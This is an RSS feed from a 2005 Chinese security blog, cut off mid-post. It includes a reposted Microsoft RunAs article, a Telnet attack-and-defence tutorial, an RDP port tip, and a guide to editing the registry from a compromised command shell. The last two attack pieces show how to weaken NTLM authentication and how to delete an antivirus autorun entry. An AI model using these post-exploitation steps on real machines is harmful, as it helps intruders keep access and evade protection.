﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-挪威的森林-随笔分类-网络安全</title><link>http://www.blogjava.net/kenneth/category/3112.html</link><description>不需要完美的可怕，太快乐如何招架！！！</description><language>zh-cn</language><lastBuildDate>Fri, 02 Mar 2007 03:32:16 GMT</lastBuildDate><pubDate>Fri, 02 Mar 2007 03:32:16 GMT</pubDate><ttl>60</ttl><item><title>HOW TO：在运行程序时启用和使用“运行方式”命令</title><link>http://www.blogjava.net/kenneth/archive/2005/09/06/12272.html</link><dc:creator>Kenneth Blog</dc:creator><author>Kenneth Blog</author><pubDate>Tue, 06 Sep 2005 15:37:00 GMT</pubDate><guid>http://www.blogjava.net/kenneth/archive/2005/09/06/12272.html</guid><wfw:comment>http://www.blogjava.net/kenneth/comments/12272.html</wfw:comment><comments>http://www.blogjava.net/kenneth/archive/2005/09/06/12272.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kenneth/comments/commentRss/12272.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kenneth/services/trackbacks/12272.html</trackback:ping><description><![CDATA[<H1 class=title>HOW TO：在运行程序时启用和使用“运行方式”命令</H1>
<DIV class=appliesToLink><A href="http://support.microsoft.com/?id=294676#appliesto">察看本文应用于的产品</A></DIV>
<DIV class=articleProperty>
<TABLE>
<TBODY>
<TR>
<TD class=label>文章编号</TD>
<TD class=text>:</TD>
<TD class=text>294676</TD></TR>
<TR>
<TD class=label>最后修改</TD>
<TD class=text>:</TD>
<TD class=text>2003年10月24日</TD></TR>
<TR>
<TD class=label>修订</TD>
<TD class=text>:</TD>
<TD class=text>1.0</TD></TR></TBODY></TABLE></DIV>
<DIV class=notice>本文的发布号曾为 CHS294676</DIV>
<DIV class=notice></DIV>
<DIV class=toc>
<H5>本页</H5>
<TABLE class=tallTable>
<COLGROUP>
<COL>
<COL>
<COL>
<COL>
<COL>
<COL></COLGROUP>
<TBODY>
<TR>
<TD class=image><A href="http://support.microsoft.com/?id=294676#kb1"></A></TD>
<TD class=text colSpan=5><A href="http://support.microsoft.com/?id=294676#kb1">概要</A></TD></TR>
<TR>
<TD class=space>&nbsp;</TD>
<TD class=image><A href="http://support.microsoft.com/?id=294676#XSLTH3127121123120121120120"></A></TD>
<TD class=text colSpan=4><A href="http://support.microsoft.com/?id=294676#XSLTH3127121123120121120120">要求 </A></TD></TR>
<TR>
<TD class=space>&nbsp;</TD>
<TD class=image><A href="http://support.microsoft.com/?id=294676#XSLTH3131121123120121120120"></A></TD>
<TD class=text colSpan=4><A href="http://support.microsoft.com/?id=294676#XSLTH3131121123120121120120">在 Windows 2000 计算机上启用 RunAs 服务，或在 Windows XP 计算机上启用 Secondary Logon 服务 </A></TD></TR>
<TR>
<TD class=space>&nbsp;</TD>
<TD class=image><A href="http://support.microsoft.com/?id=294676#XSLTH3143121123120121120120"></A></TD>
<TD class=text colSpan=4><A href="http://support.microsoft.com/?id=294676#XSLTH3143121123120121120120">通过快捷方式使用“运行方式”命令 </A></TD></TR>
<TR>
<TD class=space>&nbsp;</TD>
<TD class=image><A href="http://support.microsoft.com/?id=294676#XSLTH3147121123120121120120"></A></TD>
<TD class=text colSpan=4><A href="http://support.microsoft.com/?id=294676#XSLTH3147121123120121120120">疑难解答 </A></TD></TR>
<TR>
<TD class=image><A href="http://support.microsoft.com/?id=294676#appliesto"></A></TD>
<TD class=text colSpan=5><A href="http://support.microsoft.com/?id=294676#appliesto">这篇文章中的信息适用于:</A></TD></TR></TBODY></TABLE></DIV>
<DIV class=section><A id=kb1></A>
<H2 class=subTitle>概要</H2>
<DIV class=sbody>在 Windows 2000 和 Windows XP 中，可通过当前登录用户以外的其他用户身份运行程序。 若要在 Windows 2000 中执行此操作，RunAs 服务必须正在运行；若要在 Windows XP 中执行此操作，Secondary Logon 服务必须正在运行。 RunAs 和 Secondary Logon 服务是具有不同名称的相同服务。 本分步指南介绍了如何在 Windows 2000 计算机或 Windows XP 计算机上启用和使用<B>运行方式</B>命令。 <BR><BR><SPAN><A id=Requirements></A></SPAN><A id=XSLTH3127121123120121120120></A>
<H3>要求 </H3>
<TABLE class="list ul">
<TBODY>
<TR>
<TD class=bullet>•</TD>
<TD class=text>运行 Windows 2000 或 Windows XP 版本的计算机。 </TD></TR>
<TR>
<TD class=bullet>•</TD>
<TD class=text>计算机的管理权限。 </TD></TR></TBODY></TABLE><SPAN><A id=Task1></A></SPAN><A id=XSLTH3131121123120121120120></A>
<H3>在 Windows 2000 计算机上启用 RunAs 服务，或在 Windows XP 计算机上启用 Secondary Logon 服务 </H3>该服务是运行<B>运行方式</B>命令所必需的，在默认情况下，它在安装 Windows 时自动启动。 但是，该服务可由管理员禁用。 如果该服务已被禁用，可使用下列步骤重新启用它： 
<TABLE class="list ol">
<TBODY>
<TR>
<TD class=number>1.</TD>
<TD class=text>以 Administrator（管理员）身份登录到计算机，或者以具有管理权限的用户身份登录。 </TD></TR>
<TR>
<TD class=number>2.</TD>
<TD class=text>右键单击<B>我的电脑</B>，然后单击<B>管理</B>。 </TD></TR>
<TR>
<TD class=number>3.</TD>
<TD class=text>在“计算机管理”中，展开“<STRONG class=uiterm>服务和应用程序</STRONG>”节点，然后单击<B>服务</B>。 </TD></TR>
<TR>
<TD class=number>4.</TD>
<TD class=text>根据您拥有的操作系统执行以下某个步骤： 
<TABLE class="list ul">
<TBODY>
<TR>
<TD class=bullet>•</TD>
<TD class=text>Windows 2000： 在“详细信息”窗格中，右键单击<B> RunAs Service</B>（RunAs 服务），然后单击<B>属性</B>。 </TD></TR>
<TR>
<TD class=bullet>•</TD>
<TD class=text>Windows XP： 在“详细信息”窗格中，右键单击<B> Secondary Logon </B>服务，然后单击<B>属性</B>。 </TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD class=number>5.</TD>
<TD class=text>在<B>属性</B>对话框中，将<B>启动类型</B>设置为<B>自动</B>，然后单击<B>启动</B>。 </TD></TR>
<TR>
<TD class=number>6.</TD>
<TD class=text>在计算机启动该服务之后，单击<B>确定</B>以关闭<B>属性</B>对话框，然后关闭“计算机管理”。 </TD></TR></TBODY></TABLE>运行<B>运行方式</B>命令所必需的服务现在运行于计算机上。 <BR><BR><SPAN><A id=Task2></A></SPAN><A id=XSLTH3143121123120121120120></A>
<H3>通过快捷方式使用“运行方式”命令 </H3>
<TABLE class="list ol">
<TBODY>
<TR>
<TD class=number>1.</TD>
<TD class=text>导航到快捷方式项： 单击<B>开始</B>，指向<B>程序</B>，然后在<B>程序</B>菜单中查找快捷方式项。 <BR><BR>如果快捷方式不在<B>开始</B>菜单的“程序”文件夹中，请导航到快捷方式的正确位置。 </TD></TR>
<TR>
<TD class=number>2.</TD>
<TD class=text>按住 SHIFT 键同时右键单击快捷方式项，然后单击<B>运行方式</B>。 </TD></TR>
<TR>
<TD class=number>3.</TD>
<TD class=text>根据您拥有的操作系统执行以下某个步骤： 
<TABLE class="list ul">
<TBODY>
<TR>
<TD class=bullet>•</TD>
<TD class=text>Windows 2000： 在<B>以其他用户身份运行</B>中，键入<B>用户名</B>、<B>密码</B>和<B>域</B>，然后单击<B>确定</B>。 </TD></TR>
<TR>
<TD class=bullet>•</TD>
<TD class=text>Windows XP： 在<B>运行方式</B>中，单击<B>下列用户</B>选项，键入或选择<B>用户名</B>，键入<B>密码</B>，然后单击<B>确定</B>。 </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><SPAN><A id=Troubleshooting></A></SPAN><A id=XSLTH3147121123120121120120></A>
<H3>疑难解答 </H3>
<TABLE class="list ul">
<TBODY>
<TR>
<TD class=bullet>•</TD>
<TD class=text>如果尝试使用<B>运行方式</B>命令，从网络位置启动诸如 MMC 控制台或控制面板项之类的程序，并且用于连接到网络共享的凭据不同于用于启动该程序的凭据，则可能会失败。 用于运行程序的凭据不能获得对相同网络共享的访问。 </TD></TR>
<TR>
<TD class=bullet>•</TD>
<TD class=text>RunAs 和 Secondary Logon 服务只接受密码身份验证。 如果策略要求智能卡登录，则<B>运行方式</B>命令将无法运行。 </TD></TR></TBODY></TABLE>
<DIV class=topOfPage>
<TABLE>
<TBODY>
<TR>
<TD class=image><A href="http://support.microsoft.com/?id=294676#top"><IMG title=回到顶端 alt=回到顶端 src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif"></A></TD>
<TD class=text><A href="http://support.microsoft.com/?id=294676#top">回到顶端</A></TD></TR></TBODY></TABLE></DIV></DIV></DIV>
<DIV class=appliesTo>
<HR>
<A id=appliesto></A>
<H5>这篇文章中的信息适用于:</H5>
<TABLE class=list>
<TBODY>
<TR>
<TD class=bullet>•</TD>
<TD class=text>Microsoft Windows XP Professional Edition</TD></TR>
<TR>
<TD class=bullet>•</TD>
<TD class=text>Microsoft Windows 2000 Professional Edition</TD></TR></TBODY></TABLE></DIV>
<DIV class=topOfPage>
<TABLE>
<TBODY>
<TR>
<TD class=image><A href="http://support.microsoft.com/?id=294676#top"><IMG title=回到顶端 alt=回到顶端 src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif"></A></TD>
<TD class=text><A href="http://support.microsoft.com/?id=294676#top">回到顶端</A></TD></TR></TBODY></TABLE></DIV>
<DIV class=keywords>
<TABLE>
<TBODY>
<TR>
<TD class=header>
<H5>关键字：&nbsp;</H5></TD>
<TD class=text>kbhowto kbhowtomaster kbtool kbui KB294676</TD></TR></TBODY></TABLE>
<DIV class=topOfPage>
<TABLE>
<TBODY>
<TR>
<TD class=image><A href="http://support.microsoft.com/?id=294676#top"><IMG title=回到顶端 alt=回到顶端 src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif"></A></TD>
<TD class=text><A href="http://support.microsoft.com/?id=294676#top">回到顶端</A></TD></TR></TBODY></TABLE></DIV></DIV>
<DIV class="disclaimer text">Microsoft和/或其各供应商对于为任何目的而在本服务器上发布的文件及有关图形所含信息的适用性，不作任何声明。 所有该等文件及有关图形均"依样"提供，而不带任何性质的保证。Microsoft和/或其各供应商特此声明，对所有与该等信息有关的保证和条件不负任何责任，该等保证和条件包括关于适销性、符合特定用途、所有权和非侵权的所有默示保证和条件。在任何情况下，在由于使用或运行本服务器上的信息所引起的或与该等使用或运行有关的诉讼中，Microsoft和/或其各供应商就因丧失使用、数据或利润所导致的任何特别的、</DIV><!-- - -KB 3 end- - --><img src ="http://www.blogjava.net/kenneth/aggbug/12272.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kenneth/" target="_blank">Kenneth Blog</a> 2005-09-06 23:37 <a href="http://www.blogjava.net/kenneth/archive/2005/09/06/12272.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Telnet服务攻防新手上路</title><link>http://www.blogjava.net/kenneth/archive/2005/09/06/12270.html</link><dc:creator>Kenneth Blog</dc:creator><author>Kenneth Blog</author><pubDate>Tue, 06 Sep 2005 15:22:00 GMT</pubDate><guid>http://www.blogjava.net/kenneth/archive/2005/09/06/12270.html</guid><wfw:comment>http://www.blogjava.net/kenneth/comments/12270.html</wfw:comment><comments>http://www.blogjava.net/kenneth/archive/2005/09/06/12270.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kenneth/comments/commentRss/12270.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kenneth/services/trackbacks/12270.html</trackback:ping><description><![CDATA[<A class=bluekey href="http://www.yesky.com/key/4223/34223.html" target=_blank>Telnet</A>服务是最早的<A class=bluekey href="http://www.yesky.com/key/4965/239965.html" target=_blank>远程访问服务</A>。它是在网络发展的早期，所有的操作系统还基于命令模式控制时，为了解决用户远程维护主机、<A class=bluekey href="http://www.yesky.com/key/2378/147378.html" target=_blank>远程办公</A>等用户需求而特意开发的一个服务，被一直沿用到现在。
<P>　　当<A class=bluekey href="http://www.yesky.com/key/1626/176626.html" target=_blank>终端服务</A>这个基于图形界面访问的服务推出之后，现在已经很少有人利用Telnet服务进行<A class=bluekey href="http://www.yesky.com/key/4794/14794.html" target=_blank>远程访问</A>和远程办公了。但是Telnet服务却摇身一变成为了黑客的最爱。据统计，被黑客利用得最多的一个系统服务，就是Telnet服务。</P>
<P>　　黑客为什么不喜欢使用同样基于远程访问，并且更加方便直观的终端服务，而偏爱Telnet服务呢?难道因为黑客就喜欢在黑乎乎的命令窗口中操作吗?<A class=bluekey href="http://www.yesky.com/key/824/110824.html" target=_blank>NO</A>，当然不是这样。因为使用Telnet服务进行远程控制更加隐蔽，对系统的资源消耗也非常小，并且只需要一个命令即可开启和关闭它。所以对于网络安全来讲Telnet服务是一个非常危险的服务。</P>
<P>　　Telnet服务使用Telnet协议传输，在系统中使用的默认端口为TCP23端口。由于Telnet协议是集成在<A class=bluekey href="http://www.yesky.com/key/3363/158363.html" target=_blank>TCP/IP</A>协议中的，所以我们<A class=bluekey href="http://www.yesky.com/key/855/180855.html" target=_blank>无法使用</A>删除协议的办法来禁止Telnet服务。在我们讲防御Telnet服务之前，首先来看看黑客是如何利用Telnet服务的(笔者系统为<A class=bluekey href="http://www.yesky.com/key/3059/148059.html" target=_blank>Windows2000</A>)。</P>
<P>　　<FONT color=#a00000>攻 利用Telnet服务入侵</FONT></P>
<P>　　<STRONG>1.开启Telnet服务</STRONG></P>
<P>　　要想利用系统当中的Telnet服务必须先开启Telnet服务，因为在默认情况下Telnet服务是被系统所禁止的。所以当黑客使用缓冲溢出，<A class=bluekey href="http://www.yesky.com/key/2278/2278.html" target=_blank>IPC</A>等方法拿到远程主机的<A class=bluekey href="http://www.yesky.com/key/4709/34709.html" target=_blank>Shell</A>之后，必须开启Telnet服务。</P>
<P>　　在<A class=bluekey href="http://www.yesky.com/key/1061/71061.html" target=_blank>命令行</A>方式下开启Telnet服务的方法非常简单，只要在命令行当中键入“net start telnet”命令，即可开启系统中的Telnet服务。这是黑客使用得最多的一种开启Telnet服务的手法(图1)。</P>
<P align=center><IMG src="http://biz.chinabyte.com/imagelist/05/05/3bd9749e8oug.gif" border=0><BR>图</P>
<P>　　<STRONG>2.利用Telnet服务</STRONG></P>
<P>　　那么是不是启动了Telnet服务，黑客就可以利用Telnet服务连接到远程主机中去了呢?在命令行窗口中键入“telnet IP”命令，如telnet 192.168.0.3，这时命令行窗口会出现如图2所示的情况。</P>
<P align=center><IMG src="http://biz.chinabyte.com/imagelist/05/05/w92q2j843w69.jpg" border=0><BR>图</P>
<P>　　在这个窗口中，无论用户选择“Y”还是“N”都会出现“失去了跟主机的连接”提示。</P>
<P>　　这是因为用户<A class=bluekey href="http://www.yesky.com/key/2551/72551.html" target=_blank>没有通过</A>远程主机的NTLM验证。正是利用NTLM这个基于<A class=bluekey href="http://www.yesky.com/key/1194/96194.html" target=_blank>WorkGroup</A>网络当中的<A class=bluekey href="http://www.yesky.com/key/1483/161483.html" target=_blank>身份验证</A>协议，使得黑客不能轻易地利用到Telnet服务，这时即使黑客知道了Telnet<A class=bluekey href="http://www.yesky.com/key/4384/84384.html" target=_blank>服务器的管理</A>员用户名和密码，他仍然通不过NTLM验证，这无疑给系统带给了一定的安全性。<BR><STRONG>3.突破NTLM验证</STRONG></P>
<P>　　既然入侵者无法通过NTLM验证，那么Telnet服务就安全了?其实黑客有非常多的方法可以突破NTLM验证。</P>
<P>　　比如黑客知道了Telnet服务器上的一个管理员组的用户名和密码(如用户名为xiewe<A class=bluekey href="http://www.yesky.com/key/497/160497.html" target=_blank><FONT color=#002c99>i,</FONT></A>密码为12345)，那么黑客可以在自己的系统中建立一个用户名和密码与之相同的管理员组用户。然后按住“Shift”键不放，找到“开始→程序→附件”中的“<A class=bluekey href="http://www.yesky.com/key/4282/9282.html" target=_blank><FONT color=#002c99>命令提示符</FONT></A>”，<A class=bluekey href="http://www.yesky.com/key/1043/46043.html" target=_blank><FONT color=#002c99>右击</FONT></A>“命令提示符”<A class=bluekey href="http://www.yesky.com/key/4113/49113.html" target=_blank><FONT color=#002c99>选项</FONT></A>，可以在<A class=bluekey href="http://www.yesky.com/key/4819/14819.html" target=_blank><FONT color=#002c99>右键菜单</FONT></A>中看到一个“运行方式”选项，打开它就可以看到一个选择用户打开程序的选项，勾上“下列用户”，黑客就可以在选项中填入刚刚建立的与Telnet服务器上等同的管理员组用户(图3)， 确定之后在打开的命令行窗口中，连接Telnet服务器，就可以非常顺利地通过NTLM验证。</P>
<P align=center><IMG src="http://biz.chinabyte.com/imagelist/05/05/99nj0o4n16bm.jpg" border=0><BR>图3</P>
<P>　　这只是突破NTLM验证方法中的一种，黑客如果拿到了<A class=bluekey href="http://www.yesky.com/key/1320/176320.html" target=_blank><FONT color=#002c99>远程系统</FONT></A>的CmdShell，可以<A class=bluekey href="http://www.yesky.com/key/2785/62785.html" target=_blank><FONT color=#002c99>上传</FONT></A>一些第三方的工具，如Ntlm.exe，然后执行这一工具也可以删除NTLM验证。</P>
<P>　　在系统中用户其实也可以手动地更改NTLM验证的设置，在“Telnet服务管理器”中就提供了修改NTLM验证的选项。用户可以在“程序→<A class=bluekey href="http://www.yesky.com/key/382/75382.html" target=_blank><FONT color=#002c99>控制面板</FONT></A>→管理工具”中找到“Telnet服务管理”选项，单击就可以打开。或者用在命令行窗口下键入“tlntadmn.exe”也可以打开“Telnet服务管理器”。用户可以看到“Telnet服务管理器”是以命令行的方式出现的。选择当中的选项3“显示 / 更改注册表设置” (图4)，用户可以看到会出现一个选项的列表，总共有八个选项。</P>
<P align=center><IMG src="http://biz.chinabyte.com/imagelist/05/05/6gj0414c2zm9.jpg" border=0><BR>图4</P>
<P>　　大家可以发现，选项7是针对NTLM验证的，它的默认值是“2”，其中还有两个值可以选择，分别是“0”和“1”。“0”的意思是不使用 NTLM 身份验证;“1”则表示先尝试 NTLM 身份验证，如果失败，再使用用户名和密码;“2”的意思是只使用 NTLM 身份验证。</P>
<P>　　如果把NTLM的值改为“0”或者“1”，在Telnet连接的时候，我们都可以顺利地通过NTLM验证。所以接下来的步骤，选择列表中的“(7)NTML”，并且选择“Y”更改默认值，最后把NTLM验证的值改为“0”或者“1”即可(图5)。从图5中可以看到“Telnet服务管理器”提示，只有当Telnet服务<A class=bluekey href="http://www.yesky.com/key/3276/43276.html" target=_blank><FONT color=#002c99>重新启动</FONT></A>之后配置才能够生效。用户可以在命令行窗口下键入“net stop telnet”和“net start telnet”即可重新启动Telnet服务。</P>
<P align=center><IMG src="http://biz.chinabyte.com/imagelist/05/05/57rw532j784f.gif" border=0><BR>图5</P>
<P>　　接下来<A class=bluekey href="http://www.yesky.com/key/3085/168085.html" target=_blank><FONT color=#002c99>远程用户</FONT></A>就可以使用“telnet IP”连接到Telnet服务器上了，虽然没有了NTLM验证的限制，但是访问用户必须键入Telnet服务器的管理员组用户名和密码方能访问到。当访问到时，用户就可以执行Windows <A class=bluekey href="http://www.yesky.com/key/4805/134805.html" target=_blank><FONT color=#002c99>SHELL</FONT></A>命令来管理远程主机了。<BR><FONT color=#a00000>防 全面封锁Telnet服务</FONT></P>
<P>　　知道了黑客利用Telnet服务的手法，那么针对Telnet服务的防御办法自然也就有了。根据黑客利用Telnet服务的思路，笔者总结了防御Telnet服务四种方法。</P>
<P>　　<STRONG>1.管理好用户的密码</STRONG></P>
<P>　　最简单的方法，管理好本机系统当中的用户名和密码，如果用户名和密码无法被黑客取得，那么黑客将很难利用到Telnet服务。</P>
<P>　　<STRONG>2.修改服务端口</STRONG></P>
<P>　　从前面的内容中大家可以了解到Telnet服务使用的是系统的23端口，如果我们修改了Telnet服务的默认端口，无疑隐藏了Telnet服务的入口点，给系统带来了一定的安全保障。修改方法非常简单，首先打开“Telnet服务管理器”，同样选择当中的选项3“显示 / 更改注册表设置”，打开Telnet服务管理列表，选择当中的选项8“TelnetPort”，选择“Y”更改Telnet服务的默认端口23，把Telnet服务的端口改为1024或1024以上的端口，确定即可。接着重新启动Telnet服务，配置即可生效。以后用户只要键入“telnet IP 1024”即可访问到Telnet服务器。</P>
<P>　　<STRONG>3.禁用Telnet服务</STRONG></P>
<P>　　大家知道要想使用Telnet服务必须开启Telnet服务，假如黑客利用缓冲溢出或者其它方法拿到了用户的CmdShell，那么他只要在中CmdShell下键入“net start telnet”即可启动Telnet服务，并且可以利用Telnet服务作为用户系统中的后门使用。有什么办法才能够阻止黑客开启Telnet服务呢?其实办法非常简单，禁用Telnet服务即可实现。用户打开“控制面板→管理工具→服务”在当中找到Telnet服务选项，<A class=bluekey href="http://www.yesky.com/key/4243/59243.html" target=_blank><FONT color=#002c99>双击</FONT></A>就可以进入“Telnet服务属性”对话框，在“启动类型”中选择“已禁用”，单击“确定”按钮即可。</P>
<P>　　<STRONG>4.终极Telnet服务防御</STRONG></P>
<P>　　禁用服务并不是防御Telnet服务的终极办法，针对这一限制，黑客专门有一些第三方工具，只要拿到了远程主机的CmdShell，他只须上传该工具到远程主机并运行它就可以突破禁用服务这一限制，开启Telnet服务。</P>
<P>　　所以针对这个问题，笔者最后给大家介绍一种<A class=bluekey href="http://www.yesky.com/key/4009/194009.html" target=_blank><FONT color=#002c99>最完美的</FONT></A>防御方法。</P>
<P>　　首先打开“Telnet服务管理器”，同样选择选项3“显示 / 更改注册表设置”，进入Telnet服务管理列表，大家可以看到其中的选项4“DefaultShell”，前面我们已经介绍过这个选项的具体含义，“显示Telnet服务所对应的程序。默认值是: %<A class=bluekey href="http://www.yesky.com/key/2097/102097.html" target=_blank><FONT color=#002c99>Systemroot</FONT></A>%\System32\<A class=bluekey href="http://www.yesky.com/key/730/125730.html" target=_blank><FONT color=#002c99>Cmd.exe</FONT></A> /q /k”，这个含义的具体意思是什么呢?为什么当我们通过Telnet验证的时候能够取得远程主机的命令控制权限呢?</P>
<P>　　因为我们可以看到Telnet服务对应的默认程序是“%Systemroot%\System32\Cmd.exe /q /k”也就是系统根目录<A class=bluekey href="http://www.yesky.com/key/1782/96782.html" target=_blank><FONT color=#002c99>WinNT</FONT></A>(或Windows)下System32目录下的Cmd.exe，我们都知道Cmd.exe是系统中的命令行窗口，那么当远程用户通过了Telnet验证的话，远程系统就会把自己的Cmd.exe调给远程用户使用，这就是为什么使用Telnet能够拿到远程主机命令控制权限的最根本原因。</P>
<P>　　讲到这里似乎防御方法也出来了，其实思路很简单，我们把Telnet服务所对应的默认程序改为一个未知的程序，这样即使黑客知道了远程主机的管理员用户和密码，突破了NTLM验证对方仍然无法拿到对主机的命令控制权，因为Telnet服务对应的默认程序已经不再是Cmd.exe。有了好思路我们就来具体使用这个方法。</P>
<P>　　选择Telnet服务管理列表中的选项4“DefaultShell”，就会提示我们是否更改Telnet服务的默认设置，选择“Y”，并且把Telnet服务对应的默认程序改为一个未知的文件，如:%SystemRoot%\system32\xiewei.exe，我的系统中根目录下根本不存在xiewei.exe文件，设置好之后重新启动服务。</P>
<P>　　设置好之后，我们来看一下它的效果。假如现在黑客知道这<A class=bluekey href="http://www.yesky.com/key/3999/153999.html" target=_blank><FONT color=#002c99>台系</FONT></A>统的管理员用户Administrator，密码为12345，并且这台系统开启了Telnet服务，NTLM验证也被突破，那么使用 “Telnet IP”连接到这台系统，这时会提示键入远程系统的用户名和密码，证明已经通过了NTLM验证，在正确地输入用户名密码之后，系统仍然提示“失去了跟主机的连接”。</P>
<P>　　通过对这种方法，用户可以全面禁止系统中的Telnet服务。</P><img src ="http://www.blogjava.net/kenneth/aggbug/12270.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kenneth/" target="_blank">Kenneth Blog</a> 2005-09-06 23:22 <a href="http://www.blogjava.net/kenneth/archive/2005/09/06/12270.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>改变终端服务默认端口</title><link>http://www.blogjava.net/kenneth/archive/2005/09/02/11796.html</link><dc:creator>Kenneth Blog</dc:creator><author>Kenneth Blog</author><pubDate>Thu, 01 Sep 2005 16:19:00 GMT</pubDate><guid>http://www.blogjava.net/kenneth/archive/2005/09/02/11796.html</guid><wfw:comment>http://www.blogjava.net/kenneth/comments/11796.html</wfw:comment><comments>http://www.blogjava.net/kenneth/archive/2005/09/02/11796.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kenneth/comments/commentRss/11796.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kenneth/services/trackbacks/11796.html</trackback:ping><description><![CDATA[<P>改变终端服务默认端口 
<P><FONT color=#459129>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp</FONT></P>
<P>找到下面的 "<FONT color=#459129>PortNumber</FONT>"，用十进制方式显示，默认为3389，改为任意可用端口。 </P>
<P>适用范围：支持终端服务的所有系统 <BR></P><img src ="http://www.blogjava.net/kenneth/aggbug/11796.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kenneth/" target="_blank">Kenneth Blog</a> 2005-09-02 00:19 <a href="http://www.blogjava.net/kenneth/archive/2005/09/02/11796.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CMDSHELL之注册表、服务和组策略</title><link>http://www.blogjava.net/kenneth/archive/2005/09/02/11795.html</link><dc:creator>Kenneth Blog</dc:creator><author>Kenneth Blog</author><pubDate>Thu, 01 Sep 2005 16:16:00 GMT</pubDate><guid>http://www.blogjava.net/kenneth/archive/2005/09/02/11795.html</guid><wfw:comment>http://www.blogjava.net/kenneth/comments/11795.html</wfw:comment><comments>http://www.blogjava.net/kenneth/archive/2005/09/02/11795.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kenneth/comments/commentRss/11795.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kenneth/services/trackbacks/11795.html</trackback:ping><description><![CDATA[包括三方面内容：注册表、服务和组策略。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。<BR>&nbsp;&nbsp;好在系统自带的regedit.exe足够用了。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;1，读取注册表<BR>&nbsp;&nbsp;先将想查询的注册表项导出，再用type查看，比如：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;C:\&gt;regedit&nbsp;/e&nbsp;1.reg&nbsp;"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal&nbsp;Server\WinStations\RDP-Tcp"<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;C:\&gt;type&nbsp;1.reg&nbsp;|&nbsp;find&nbsp;"PortNumber"<BR>&nbsp;&nbsp;"PortNumber"=dword:00000d3d<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;C:\&gt;del&nbsp;1.reg<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;所以终端服务的端口是3389（十六进制d3d）<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;2，修改/删除注册表项<BR>&nbsp;&nbsp;先echo一个reg文件，然后导入，比如：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;echo&nbsp;Windows&nbsp;Registry&nbsp;Editor&nbsp;Version&nbsp;5.00&nbsp;&gt;1.reg<BR>&nbsp;&nbsp;echo.&nbsp;&gt;&gt;1.reg<BR>&nbsp;&nbsp;echo&nbsp;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]&nbsp;&gt;&gt;1.reg<BR>&nbsp;&nbsp;echo&nbsp;"TelnetPort"=dword:00000913&nbsp;&gt;&gt;1.reg<BR>&nbsp;&nbsp;echo&nbsp;"NTLM"=dword:00000001&nbsp;&gt;&gt;1.reg<BR>&nbsp;&nbsp;echo.&nbsp;&gt;&gt;1.reg<BR>&nbsp;&nbsp;regedit&nbsp;/s&nbsp;1.reg<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;要删除一个项，在名字前面加减号，比如：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;要删除一个值，在等号后面用减号，比如：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<BR>&nbsp;&nbsp;"KAVRun"=-<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;3，用inf文件访问注册表<BR>&nbsp;&nbsp;上面对注册表的三个x作，也可以用下面这个inf文件来实现：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;[Version]<BR>&nbsp;&nbsp;Signature="$WINDOWS&nbsp;NT$"<BR>&nbsp;&nbsp;[DefaultInstall]<BR>&nbsp;&nbsp;AddReg=My_AddReg_Name<BR>&nbsp;&nbsp;DelReg=My_DelReg_Name<BR>&nbsp;&nbsp;[My_AddReg_Name]<BR>&nbsp;&nbsp;HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323<BR>&nbsp;&nbsp;HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1<BR>&nbsp;&nbsp;[My_DelReg_Name]<BR>&nbsp;&nbsp;HKLM,SYSTEM\CurrentControlSet\Services\Serv-U<BR>&nbsp;&nbsp;HKLM,SOFTWARE\Microsoft\Windows\C